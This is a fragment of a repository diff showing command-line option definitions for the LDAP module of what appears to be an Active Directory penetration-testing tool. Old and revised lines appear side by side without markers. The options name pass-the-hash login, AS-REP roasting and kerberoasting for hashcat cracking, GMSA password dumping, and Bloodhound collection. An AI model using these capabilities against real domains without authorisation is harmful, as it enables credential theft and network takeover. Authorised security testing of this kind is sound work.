ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
|
||||
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
|
||||
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
|
||||
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
|
||||
vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)")
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get user that had the value adminCount=1")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate domain users")
|
||||
vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
|
||||
vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers")
|
||||
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
|
||||
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
|
||||
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
|
||||
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
|
||||
return parser
|
||||
Loaded 100 of 137 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user